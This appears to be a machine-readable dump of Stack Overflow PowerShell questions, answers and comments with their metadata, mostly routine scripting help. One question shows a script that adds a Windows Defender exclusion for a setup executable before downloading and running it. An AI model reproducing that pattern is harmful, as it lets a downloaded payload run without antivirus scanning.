http://stackoverflow.com/q/79360943
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139972750
tagged with: office365
has comment: http://stackoverflow.com/comment/139972735
tagged with: powershell
has comment: http://stackoverflow.com/comment/139972699
type: UnansweredQuestion
has body: Attempting to audit the usage of Power BI and other O365 subscriptions within a tenant and it's only exporting the last 2 days of information into Excel. One mistake I originally made was using the record type of "powerbi" instead of "20", which I learned through reading learn.microsoft articles. $startdate = get-date -f 10-16-2024 $activities = Search-UnifiedAuditLog -StartDate $startDate -EndDate (Get-Date) -RecordType 20 $activities | Export-Csv -Path "C:\Users\MYACCOUNT\Downloads\90dayactivitytest.csv" -NoTypeInformation I have also tried the following: $startDate = (Get-Date).AddDays(-90) $activities = Search-UnifiedAuditLog -StartDate $startDate -EndDate (Get-Date) -RecordType 20 $activities | Export-Csv -Path "C:\UserActivities.csv" -NoTypeInformation Tried the above two scripts and believe I am having a syntax error for the timing since it only pulls the last 2 days, 1/13 and 1/14.
has title: Auditing last 90 days of O365 subscription usage
has comment: http://stackoverflow.com/comment/139972688
score: 0
has comment: http://stackoverflow.com/comment/139952177

http://stackoverflow.com/comment/139801567
has text: Here are some things to try or consider: Reinstall the `Microsoft.SqlServer.TransactSql.ScriptDom` assembly by installing the correct version of SSDT or downloading it from the Microsoft NuGet Gallery. Ensure your environment variables include the necessary SQL Server assembly paths, as Visual Studio or SSDT changes can disrupt this. Add the assembly manually in your PowerShell script before calling sqlpackage with: `Add-Type -Path 'C:\Path\To\Microsoft.SqlServer.TransactSql.ScriptDom.dll'`. Also, check for updates to SQLPackage, SSDT, and Visual Studio, as these may fix related issues.
type: Comment
comment on: http://stackoverflow.com/q/79276630
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139884440
comment on: http://stackoverflow.com/q/79325779
has text: I am trying to export one specific attribute (msExchExtensionCustomAttribute2) of one domain user (test) in a simple csv or txt file (test.csv).
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79336099
type: AnsweredQuestion
has title: Apply powershell to subfolders
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/60171057
answer count: 2
score: 1
accepted answer: http://stackoverflow.com/a/79336107
linked to: http://stackoverflow.com/q/38269209
tagged with: file-rename
type: Question
has answer: http://stackoverflow.com/a/79336107
tagged with: recursion
has body: I have a lot of folders with image files that accidentally saved without extension. I've managed to work out how to add the extension: ls -file | ? {$_.extension -eq ''} | % {ren $_ ($_.name + '.jpeg')} ... but I can't work out how to make it apply to all subfolders. This command doesn't work: Get-ChildItem -Recurse ls -file | ? {$_.extension -eq ''} | % {ren $_ ($_.name + '.jpeg')} any ideas where I'm going wrong, please?
has answer: http://stackoverflow.com/a/79336437
downvote count: 0
tagged with: powershell
possible better answer: http://stackoverflow.com/a/79336437

http://stackoverflow.com/q/79245750
type: UnansweredQuestion
has title: Powershell to pull wmic diskdrive information
type: Question
has body: I'm trying to find a powershell command that will list volumes of internal hard disks only. I can run a wmic command for wmic diskdrive which gives me the MediaType, but not the volume. I ran the command for wmic logicaldisk which gives me the drive letter, but not the Media type from the diskdrive. It lists both internal and external drives as just Local Fixed Disk. How can I combine the two within a powershell script to only pull Internal Fixed Drive volumes?
has comment: http://stackoverflow.com/comment/139740119
has answer: http://stackoverflow.com/a/79248474
has answer: http://stackoverflow.com/a/79247559
tagged with: wmic
tagged with: powershell
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/139740149

http://stackoverflow.com/q/79350494
has title: Add-MpPreference working for me but not for other machines
type: UnansweredQuestion
tagged with: windows
type: Question
answer count: 0
tagged with: powershell
tagged with: windows-defender
has body: I am using Powershell to add a Windows Defender exclusion for a file that gets falsely flagged as a workaround. I was testing my script in https://tria.ge and everything worked except the Add-MpPreference commands. I have searched everywhere and found nothing. For me it still works and that is why I am baffled. The code I am using (snippets): Show-Status "Adding antivirus exclusion for setup executable.." Add-MpPreference -ExclusionPath "$SMTTempPath\SMTSetup.exe" (I then download the file and run the setup) and Show-Status "Cleaning up temporary files and antivirus exclusion.." Remove-Item -Path $SMTTempPath -Recurse -Force Remove-MpPreference -ExclusionPath "$setupPath" The variables are properly assigned and work. Errors I get: On Windows 11: Add-MpPreference : The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At C:\Users\Admin\AppData\Local\Temp\getsmt.ps1:70 char:1 + Add-MpPreference -ExclusionPath "$SMTTempPath\SMTSetup.exe" + ~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException and on Windows 10 LSTC: Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ConfigListExtension. At C:\Users\Admin\AppData\Local\Temp\getsmt.ps1:70 char:1 + Add-MpPreference -ExclusionPath "$SMTTempPath\SMTSetup.exe" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], CimException + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference Add-MpPreference : Operation failed with the following error: 0x%1!x! At C:\Users\Admin\AppData\Local\Temp\getsmt.ps1:70 char:1 + Add-MpPreference -ExclusionPath "$SMTTempPath\SMTSetup.exe" + ~~~~~~~~~~~~~~~~~~~~…
tagged with: error-handling
score: 0

http://stackoverflow.com/comment/139908435
type: QuestionComment
type: Comment
score: 0
has text: Than [edit](https://stackoverflow.com/posts/79334607/edit) your question with information where and how it fails exactly (or not) and paste the `.\Temp.Csv` with the 3 examples records to the question.
comment on: http://stackoverflow.com/q/79334607

http://stackoverflow.com/comment/139884878
score: 0
comment on: http://stackoverflow.com/q/79325779
type: QuestionComment
has text: No output in the users.csv file - "msExchExtensionCustomAttribute2" "Microsoft.ActiveDirectory.Management.ADPropertyValueCollection"
type: Comment

http://stackoverflow.com/q/79416192
tagged with: powershell
linked to: http://stackoverflow.com/q/79262609
type: UnansweredQuestion
favorite count: 0
has body: I saw some code like below: $ht1 = @{ age=13 course="Children Fund" } $var1 = [PSObject]$ht1 $json = $var1 | ConvertTo-Json From what I know, [PSObject] is a type casting, and the $var1.GetType() will still return "HashTable", but I think such type casting are wrapping the ht1 as the PSObject documentation said, is this reasoning right ? It looks after it wrapped the ht1 but the type of $var1 will be still HashTable, I think this is the magic of PowerShell implementation, am I right ? If that is just a wrapping benefit it brings when doing explicit type casting [PSObject]$ht1 I wonder is there some other benefits it brings when doing such explicit type casting ? And is such type casting really needed when passing the $var1 to the downstream pipeline part ConvertTo-Json cmdlet ?
linked to: http://stackoverflow.com/q/79400911
has comment: http://stackoverflow.com/comment/140056100
answer count: 2
has title: Why Use [PSObject] Type Casting
type: Question
has answer: http://stackoverflow.com/a/79419400
has answer: http://stackoverflow.com/a/79416284
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/79352065
favorite count: 0
has body: Im having this problem when trying to make my script create a file in a Sharepoint and also send a message to the teams channel. Im against a wall i cannot get this to work and i dont know why. I have tried what i feel is everything but somehow i keep getting an error all the time " An error occurred: Cannot bind parameter 'ClientSecretCredential'. Cannot convert the value of type "System.String" to type "System.Management.Automation.PSCredential". param ( [string]$SavePath = "C:\\Path\\To\\Save" ) # Funktion för att installera och importera moduler om de inte finns function Install-AndImportModule { param ( [string]$ModuleName ) if (-not (Get-Module -Name $ModuleName -ListAvailable)) { Install-Module -Name $ModuleName -Scope AllUsers -Force -ErrorAction Stop } Import-Module -Name $ModuleName -ErrorAction Stop } try { # Moduler att säkerställa $modules = @( "Microsoft.Graph", "PnP.PowerShell", "Microsoft.Graph.Authentication", "Microsoft.PowerShell.SecretManagement", "Microsoft.PowerShell.SecretStore" ) # Säkerställ att alla moduler är installerade och importerade foreach ($module in $modules) { Install-AndImportModule -ModuleName $module } # Registrera SecretVault om det inte redan är registrerat if (-not (Get-SecretVault -Name "MySecretVault" -ErrorAction SilentlyContinue)) { Register-SecretVault -Name "MySecretVault" -ModuleName "Microsoft.PowerShell.SecretStore" -DefaultVault } # Lägg till hemligheter om de inte redan finns if (-not (Get-SecretInfo -Name "PnPAppClientId" -ErrorAction SilentlyContinue)) { Set-Secret -Name "PnPAppClientId" -Secret "Dont wanna show" } if (-not (Get-SecretInfo -Name "PnPAppTenantId" -ErrorAction SilentlyContinue)) { Set-Secret -Name "PnPAppTenantId" -Secret "Dont wanna show" } if (-not (Get-SecretInfo -Name "PnPAppSecret" -ErrorAction SilentlyContinue)) { $secureClientSecret = ConvertTo-SecureString "Dont wanna show" -AsPlainText -Force Set-Secret -Name "PnPAppSecret" -Secret $secureClientSecret } # Hämta hemligheter $clientId = (Ge…
has title: Cannot bind parameter 'ClientSecretCredential'. Cannot convert the value of type "System.String" to type "System.Management.Automation.PSCredential
type: Question
answer count: 1
downvote count: 1
tagged with: powershell
upvote count: 0
has answer: http://stackoverflow.com/a/79352275
has comment: http://stackoverflow.com/comment/139934099
score: -1
type: UnansweredQuestion

http://stackoverflow.com/comment/139843655
has text: @CrookedJ that's for `ForEach-Object`, OP is asking about `ForEach` from the `Workflows` module, which I think it was an older workaround for parallelizing stuff on 5.1?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79302651

http://stackoverflow.com/comment/140032656
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/79398658
has text: @Dennis added more code so you can get the handle `TypeName`. That's the most I'm willing to go, gets too complex from here. Hopefully this suffices the question being asked.

http://stackoverflow.com/comment/139798130
has text: on point TYsm, @Hekku2, answer accepted
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79276143
type: AnswerComment

http://stackoverflow.com/comment/140056042
comment on: http://stackoverflow.com/a/79416009
type: Comment
has text: I figured this follow up issue out. Just needed to move the Add-Member calls outside of so they were in the right place.! Thank you for your answer!
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139974938
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79369758
has text: And why does the client ask for this? You have to find the real requirement. The only case where this is needed, is if they intend to open those files by double-cllicking and opening a default application like Excel. In which case it's better to save to Excel directly.
score: 1

http://stackoverflow.com/comment/139775487
has text: You can google it... a ctor must guarantee an object is instantiated or an exception is thrown.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79265633
score: 0

http://stackoverflow.com/comment/139847316
has text: Unfortunately, We are still using PowerShell 2.0
comment on: http://stackoverflow.com/q/79304198
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79375613
downvote count: 0
has body: To complement Santiago's helpful answer: If you want to: implicitly apply the trimming to all to-host (to-display) output without interfering with pipeline processing you can write an Out-Default proxy function such as the following, which trims all empty or all-whitespace lines from the output for simplicity (you can adapt it as needed, based on Santiago's answer): function Out-Default { [CmdletBinding()] param( [Parameter(ValueFromPipeline)] $InputObject ) begin { $steppablePipeline = { Out-String -Stream | Where-Object { $_ -match '\S' } | Write-Host }.GetSteppablePipeline($myInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) # PowerShell 7: Determine if to-host coloring is enabled and, if so, emulate # the behavior in the steppable pipeline by *temporarily* turning # *unconditional* ANSI coloring on (see comments further below). $changeOutputRendering = $restoreOutputRendering = $IsCoreCLR -and $PSStyle.OutputRendering -eq 'Host' } process { if ($changeOutputRendering) { $PSStyle.OutputRendering = 'Ansi' $changeOutputRendering = $false } $steppablePipeline.Process($InputObject) } end { $steppablePipeline.End() if ($restoreOutputRendering) { $PSStyle.OutputRendering = 'Host' } } } Once this function is defined (you can put it into your $PROFILE file if you want to use this output formatting by default in future sessions), outputting $myObject then prints the following to the display: Name Language State ---- -------- ----- Kevin PowerShell Texas Note: Out-Default only controls to-display (to-host) output. If you also want Out-File and &gt; / &gt;&gt; to exhibit the same behavior, you'll have to write an Out-File proxy function too, as shown in the bottom section of this answer. In PowerShell (Core) 7, which uses color in its for-display formatting by default (the $PSStyle preference variable's .OutputRendering property defaults to 'Host'), the function temporarily sets $PSStyle.OutputRendering = 'Ansi' in order to preserve this behavior for to-host out…
type: Answer
answers question: http://stackoverflow.com/q/79375151
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139978504
has comment: http://stackoverflow.com/comment/139978807
has comment: http://stackoverflow.com/comment/139989899

http://stackoverflow.com/a/79291451
upvote count: 2
accepted answer of: http://stackoverflow.com/q/79291391
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/139822221
has body: The built-in XPath support in .NET only covers functions specified by XPath version 1.0/1.1 - and ends-with was not part of XPath until version 2. You can use substring/string-length to cut the tail of the string and look for that instead: $tailValue = 'Something.csproject' $xPathEndsWithExpression = "/Project/ItemGroup/ProjectReference[string-length(@Include) >= $($tailValue.Length) and substring(@Include, string-length(@Include) - $($tailValue.Length - 1)) = '${tailValue}')]" Select-Xml -Path "/path/to/file.csproj" -XPath $xPathEndsWithExpression
score: 1
answers question: http://stackoverflow.com/q/79291391
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139822256

http://stackoverflow.com/q/79293153
has body: I have an application allows the execution of PowerShell code. I'm attempting to run Microsoft Graph cmdlets. I have the Microsoft Graph PS Modules installed. When I run Get-Module -ListAvailable, I see version 2.8.0. The cmdlets that I'm using are: Connect-MgGraph Update-MgUser Update-MgUser comes from the Microsoft.Graph.User PowerShell module. The Microsoft.Graph.User module has a dependency on Microsoft.Graph.Authentication. If I look in C:\ProgramFiles\WindowsPowerShell\Modules\microsoft.graph.Authentication\2.8.0\Dependencies , I see Microsoft.Graph.Core.dll version 3.0.9.0. The problem is when the application runs my PS code and PowerShell or .NET loads it's dependencies, it is loading Microsoft.Graph.Core.dll from the application directory (version 2.0.9.0) which has a different signature for one of the classes. This 2.0.9.0 version of Microsoft.Graph.Core.dll is required by other components of the application, therefore I cannot remove or upgrade it. What's odd is that if I run those cmdlets from the PowerShell command line with my working directory as the application directory with the v2.0.9.0 version of Microsoft.Graph.Core.dll, I don't get an error. I'm not sure how this application is creating the Powershell environment. My question is how is PowerShell and ultimately .NET loading the dependencies and any idea why it would be preferring the DLLs in the application directory as opposed to the dependency directory for the PowerShell module?
downvote count: 0
type: UnansweredQuestion
has title: PowerShell loading .NET dependencies from current working directory instead of PowerShell modules directory
score: 1
upvote count: 1
favorite count: 0
type: Question
answer count: 0
tagged with: powershell
tagged with: microsoft-graph-api

http://stackoverflow.com/comment/139788313
comment on: http://stackoverflow.com/q/79272775
has text: `"NKEY=\`"$SITESECRETKEY\`""` only works as an `msiexec.exe` argument in _Windows PowerShell_ by default; if you're running PowerShell (Core) 7.3 or above, you'll need to (temporarily) set ` $PSNativeCommandArgumentPassing = 'Legacy'` - see [this answer](https://stackoverflow.com/a/50868019/45375) for details.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79262856
downvote count: 0
answers question: http://stackoverflow.com/q/79256553
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/139770243
has comment: http://stackoverflow.com/comment/139789459
has comment: http://stackoverflow.com/comment/139770315
has comment: http://stackoverflow.com/comment/139789806
has body: There is another much easier option to make a binary cmdlet that can stream output when invoking a scriptblock synchronously, that is using a SteppablePipeline as iRon points out in his comment. using System; using System.Management.Automation; using System.Threading; [Cmdlet(VerbsLifecycle.Invoke, "SomeScriptBlockThing")] public sealed class InvokeSomeScriptBlockThing : PSCmdlet, IDisposable { private SteppablePipeline _pipe; private readonly CancellationTokenSource _src = new CancellationTokenSource(); [Parameter(ValueFromPipeline = true)] public object InputObject { get; set; } [Parameter(Mandatory = true, Position = 0)] public ScriptBlock ScriptBlock { get; set; } [Parameter] public SwitchParameter UseLocalScope { get; set; } protected override void BeginProcessing() { _pipe = ScriptBlock .Create( string.Format( "param($__sb, $__token) {0} $__sb $__token", UseLocalScope.IsPresent ? "." : "&")) .GetSteppablePipeline( CommandOrigin.Internal, new object[] { ScriptBlock, _src.Token }); _pipe.Begin(this); } protected override void ProcessRecord() { _pipe.Process(InputObject); } protected override void EndProcessing() { _pipe.End(); } protected override void StopProcessing() { _src.Cancel(); } public void Dispose() { _src.Dispose(); _pipe.Dispose(); GC.SuppressFinalize(this); } } Then using this cmdlet you can pass-in a CancellationToken to your .NET method and it will respond correctly to CTRL + C: Invoke-SomeScriptBlockThing { param($Token) [System.Threading.Tasks.Task]::Delay(-1, $Token).GetAwaiter().GetResult() }
has comment: http://stackoverflow.com/comment/139770294
has comment: http://stackoverflow.com/comment/139770238
has comment: http://stackoverflow.com/comment/139770304
has comment: http://stackoverflow.com/comment/139793158
has comment: http://stackoverflow.com/comment/139770231
upvote count: 2

http://stackoverflow.com/q/79321398
tagged with: powershell
has comment: http://stackoverflow.com/comment/139898845
linked to: http://stackoverflow.com/q/77276128
score: 0
has title: Using MimeKit for reading e-mails
has answer: http://stackoverflow.com/a/79333997
type: UnansweredQuestion
tagged with: mimekit
has body: I try to read e-mails via the code described here: http://www.agile-coding.net/mailkit-mit-powershell-nutzen-um-emails-abzufragen-via-imap/ That means within the first step I would like to add/import the following dll: Add-Type -Path "c:\temp\imap\BouncyCastle.Crypto.dll" Add-Type -Path "c:\temp\imap\MimeKit.dll" Add-Type -Path "c:\temp\imap\MailKit.dll" What I did? I installed dotnet What I like to do? Getting the MimeKit.dll as described here: https://www.nuget.org/packages/mimekit My expectation was that this command will provide the Mime.dll what it does not: dotnet add package MimeKit --version 4.9.0 ==> I get the error saying "no project found" Therefore, I do have two main questions What do I need to do to add that package? Did someone has expeiriences with using these packages? I hope that the questions are not to basic or confusing. Moreover, I appriciate any help or ideas on that.
type: Question
tagged with: dotnet-cli
answer count: 1
has comment: http://stackoverflow.com/comment/139898835

http://stackoverflow.com/q/79388953
has title: Running a Powershell Start-Process command, with arguments containing spaces, from a batch script
tagged with: escaping
tagged with: quoting
tagged with: powershell
type: AnsweredQuestion
upvote count: 1
has body: I can't get this batch script to work, even though I tried a lot of things, I'm now stuck. The intention is for the batch script to re-run itself elevated, using PowerShell and Start-Process, if the admin check fails. As long as the passed argument(s), do not contain spaces it works fine. However I need to forward the original batch arguments, (file paths), and can't figure out how to handle the case where they contain spaces. Here is a small example of what I'm trying to achieve, in this example the echo doesn't correctly print out Arg 1 and Arg 2: @echo off setlocal enabledelayedexpansion echo %1 echo %2 net session >nul 2>&1 if %ERRORLEVEL% neq 0 ( echo Need to fix association but missing admin rights... echo Elevating privileges... REM Once it work, 'Arg 1' and 'Arg 2' will be replaced by %1 and %2 REM Which are gonna be path enclosed with double quote and containing space ie : "C:\Path to\A folder\" powershell -Command "$args = 'Arg 1', 'Arg 2'; Start-Process -Verb RunAs -FilePath '%~dpnx0' -ArgumentList $args" pause exit /b ) pause endlocal
has answer: http://stackoverflow.com/a/79388969
linked to: http://stackoverflow.com/q/62783350
possible better answer: http://stackoverflow.com/a/79388969
score: 1
tagged with: cmd
has answer: http://stackoverflow.com/a/79388999
favorite count: 0
accepted answer: http://stackoverflow.com/a/79388999
tagged with: batch-file
answer count: 2
linked to: http://stackoverflow.com/q/60323111
type: Question
downvote count: 0

http://stackoverflow.com/comment/139823208
has text: Body of the email - the script as written fro GigHub sent it flawlessly, now I'm trying to get your updated script sent. Let me send you a 6 pack of IPA. :) Your talent is something I'd give anything for. Code is Poetry. You're a MF Shakespeare.
comment on: http://stackoverflow.com/q/79291666
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79396493
tagged with: powershell
has body: I did some research about this and I didn't find an easier method to make my function available in our scripts. We are a team of 6 people, 3 of us are writing scripts, most of the time it's me. To unify the logs, I created a function to write them in a network folder with one file per script. $logsFileDate = Get-Date -Format "yyyyMMdd" # 20240101 $logsDate= Get-Date -Format "dd-MM-yyyy" # 01-01-2024 $logsTime = Get-Date -Format "HH:mm:ss" # 13:01:01 function writeLogs{ param ( $logsFileName, $logsText ) $logsFolder = "[networkPath]\Logs\" $logsFileNameCSV = $logsFileName+".csv" $firstCSVLine = "logsDate,logsTime,text" $logsFile = Join-Path -Path $logsFolder -ChildPath $logsFileNameCSV if (-not (Test-Path $logsFile)){ try { New-Item -Path $logsFolder -ItemType Directory -Force } catch { Write-Host "Erreur lors de la création du dossier : $_.Exception.Message" } try { New-Item -Path $logsFolder -Name $logsFileNameCSV -ItemType "file" } catch { Write-Host "Erreur lors de la création du dossier : $_.Exception.Message" } Add-Content -Path $logsFile -Value $firstCSVLine Write-Host "$firstCSVLine" Write-Host "Le fichier a été créé avec Succès" } else { Write-Host "Le fichier existe déjà " } $logsText = $logsDate + "," + $logsTime + ","+ $logsText Add-Content -Path $logsFile -Value $logsText return $logsFile } and to use it, I call it like this : . [Network]\Scripts\VERN-Logs.ps1 $scriptName = $MyInvocation.MyCommand.Name.Split(".")[0] Is there a more efficient way to be able to call that function but without linking the script ? A way to declare this function on our network, anything I could push with GPOs ? PS : I know the script isn't the best, I have a new version coming, just want to take care of this part first :)
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140019459
has title: Efficient way to use a logging function on multiple scripts
has comment: http://stackoverflow.com/comment/140019142
type: Question
answer count: 0

http://stackoverflow.com/a/79313784
has body: I believe that you need to create a temporary placeholder first as described in the samples https://github.com/microsoftgraph/powershell-intune-samples/tree/master/LOB_Application point 2 and 3. Later on you replace it with your own file as detailed in instructions. In that moment you want to post to contentVersions/1/files it does not exist yet probably thats why you get error 400. You can troubleshoot further by trying to GET that file before POST.
score: 0
answers question: http://stackoverflow.com/q/79304198
type: Answer

http://stackoverflow.com/comment/140046739
score: 0
comment on: http://stackoverflow.com/q/79411096
type: QuestionComment
has text: AFAIK property `Created` is not part of the default subset of properties returned by `Get-ADOrganizationalUnit`.. The subset only returns these: `City, Country, DistinguishedName, LinkedGroupPolicyObjects, ManagedBy Name, ObjectClass, ObjectGUID, PostalCode, State, StreetAddress`. You need to specify that using parameter [-Properties](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adorganizationalunit?view=windowsserver2025-ps#-properties).
type: Comment

http://stackoverflow.com/q/79382832
has answer: http://stackoverflow.com/a/79383915
accepted answer: http://stackoverflow.com/a/79383915
score: 0
has title: How to modify a JSON with values from another JSON in PowerShell
has body: I'm trying to modify some appsettings.json inside a folder using values inside another json to unify the configuration of the files, but I/m not sure why it is not working my appsettings have the following format { //some comment "AppNameURI": "", "DB": { "ConnectionString": "mySQLStringConnection", "Provider": "SqlServer" }, "Service01": { "BaseUrl": "http://myservice", "Service1": "wheater" } } my json with the values is like this { "authorized": true, "description": "", "id": 6, "name": "Develop", "providerData": null, "type": "Vsts", "variables": { "DB.ConnectionString": { "isSecret": null, "value": "myConnectionString" }, "Service01.BaseUrl": { "isSecret": null, "value": "https://mygroupofservices.com" }, "Service01.Service1": { "isSecret": null, "value": "getWeather" } } } the idea is that when I execute a powershell script it replaces all the values if they are being used in some application to get something like this: { "AppNameURI": "", "DB": { "ConnectionString": "myConnectionString", "Provider": "SqlServer" }, "Service01": { "BaseUrl": "https://mygroupofservices.com", "Service1": "getWeather" } } this is my powerShell script # Vars $baseDir = "HIS\API" # the base path to my applications $replacementFilePath = "Parameters-localhost.json" # the file with the values # Read vars file if (-Not (Test-Path $replacementFilePath)) { Write-Host "The vars file doesn't exist: $replacementFilePath" -ForegroundColor Red exit } $replacementData = Get-Content $replacementFilePath -Raw | ConvertFrom-Json if (-Not $replacementData.variables) { Write-Host "The file doesn't have values." -ForegroundColor Red exit } # Make a dictionary $replacements = @{} foreach ($key in $replacementData.variables.PSObject.Properties.Name) { #$replacements[$key] = $replacementData.variables.PSObject.Properties[$key].Value $value = $replacementData.variables.PSObject.Properties["$key"].value.value $replacements[$key] = $value #Write-Host "'$key': $value" } # look for appsettings.json files re…
tagged with: http://stackoverflow.com/tag/json
type: Question
tagged with: powershell
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/140026231
score: 0
comment on: http://stackoverflow.com/a/79392267
has text: Sorry, I should have been more explicit with what I meant by cancel. Seeing as the dialog didn't have a "Cancel" button, I guess I assumed that the X would have been the assumption. Good advise on moving away from ISE. Just gotta find the time for what might be a bit of a learning curve. I run it in the ISE during dev, because I can query variables should the script halt, or something. I guess you could do that in the PS shell too, but then two windows have to be open. Though Santiago's System.windows.form has resolved the issue in ISE + produces a nice box in shell also, with the X disabled
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139939375
has text: Yeah, that was the problem, the location of the file, thanks for that! I've read in some places that it was due to permissons, but of course location permissons!
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79353165
score: 1

http://stackoverflow.com/comment/140023882
score: 0
has text: Add a Write statement in the catch to see what the error is. Use trace stack.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79398108

http://stackoverflow.com/comment/140023909
comment on: http://stackoverflow.com/a/79394390
type: AnswerComment
has text: @TheBrickAdmin You're most welcome, happy to hear it helps!
type: Comment
score: 0

http://stackoverflow.com/comment/139844821
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79302651
has text: My mistake. Yeah, don't use workflows :~D
type: QuestionComment

http://stackoverflow.com/comment/139961018
has text: Still looking for a way to do this. Even grouping on the first 4 or 6 letters of the pc name & creating separate files on that string would work for me
comment on: http://stackoverflow.com/q/79276442
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139980801
comment on: http://stackoverflow.com/q/79373919
score: 0
type: QuestionComment
has text: That's [a function](https://learn.microsoft.com/en-us/windows/win32/api/winefs/nf-winefs-queryusersonencryptedfile), not a type. Use the NuGet package instead of trying to call the Win32 API. It's not enough to call the Win32 function from PowerShell, you'd also have to create a type that matches the output structs and interpret their contents. The package already does this. If you want to do the same you can inspect the [C# file that defines the functions and structs](https://github.com/dahall/Vanara/blob/3438f03c32385f4de5b0bc711c9942e36c72fa1f/PInvoke/Security/AdvApi32/WinEfs.cs#L240)
type: Comment

http://stackoverflow.com/comment/139973192
has text: @PanagiotisKanavos If not xp_cmdshell what other technique do you recommend to export in UTF 8 BOM format. The client has a software that accepts UTF 8 BOM
score: 0
comment on: http://stackoverflow.com/q/79369758
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79382513
tagged with: powershell
has title: Is there a way to programmatically determine if a compiled cmdlet requires elevation (other than simply running the command)?
has body: Is there a way to use reflection to programmatically inspect and determine if a given compiled cmdlet requires elevation? Notes: This question concerns compiled cmdlets, not script (text) files. Simply running the command in an unelevated console to see if an error is generated is one way to discover if a cmdlet requires elevation, but this question is geared towards a more programmatic and automated solution. "Elevation Required"-type exceptions will vary between cmdlets - for example: Unelevated Command Exception HResult (Message) Get-WindowsCapability -Online System.Runtime.InteropServices.COMException 0x800702E4 (The requested operation requires elevation) Update-Help System.Exception 0x80131500 (Unknown error) Get-Process -IncludeUserName System.InvalidOperationException 0x80131509 (Unknown error)
upvote count: 1
favorite count: 0
tagged with: powershell-cmdlet
type: UnansweredQuestion
score: 1
type: Question
has comment: http://stackoverflow.com/comment/139991664
downvote count: 0
tagged with: reflection
tagged with: system.reflection
answer count: 0

http://stackoverflow.com/q/79319017
score: 0
has title: Non-interactive way to authenticate to Azure AD using AADInternals?
accepted answer: http://stackoverflow.com/a/79319205
has body: I'm attempting to use the AADInternals toolkit to simplify the process of generating an Azure AD bulk enrollment provisioning package. However, it seems as if the provided AADInternals documentation only outlines interactive methods of authentication. Being that I'm trying to automate this process through a Powershell script, does anyone know if there is a way to authenticate the AADInternals toolset non-interactively, say through application-based authentication using Microsoft Graph? I haven't been able to determine this myself yet, but I was hoping someone here might have used AADInternals themselves and accomplished this. Thanks!
type: Question
has answer: http://stackoverflow.com/a/79319205
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: azure-active-directory
has comment: http://stackoverflow.com/comment/139871691

http://stackoverflow.com/q/79416426
linked to: http://stackoverflow.com/q/64597009
tagged with: wix3
favorite count: 0
answer count: 2
has answer: http://stackoverflow.com/a/79416517
type: Question
accepted answer: http://stackoverflow.com/a/79416517
upvote count: 2
has body: Given: PowerShell 5.1 Can someone help me extract metadata from an msi file? I've tried the following, but no comments property. $filePath = "C:\Users\user1\source\repos\PRACTICE\WpfApp1\SetupProject1\bin\Debug\SetupProject1.msi" $fileProperties = Get-ItemProperty -Path $filePath $fileProperties | Format-List *
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/79419901
possible better answer: http://stackoverflow.com/a/79419901
downvote count: 0
tagged with: wix
tagged with: powershell
has title: Trying to extract msi file metadata in powershell

http://stackoverflow.com/q/79383686
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79383869
has comment: http://stackoverflow.com/comment/139994672
possible better answer: http://stackoverflow.com/a/79383869
has comment: http://stackoverflow.com/comment/140000060
has comment: http://stackoverflow.com/comment/139994751
favorite count: 0
has comment: http://stackoverflow.com/comment/139994762
accepted answer: http://stackoverflow.com/a/79387067
answer count: 2
linked to: http://stackoverflow.com/q/57131654
has answer: http://stackoverflow.com/a/79387067
has comment: http://stackoverflow.com/comment/139994539
tagged with: cultureinfo
type: Question
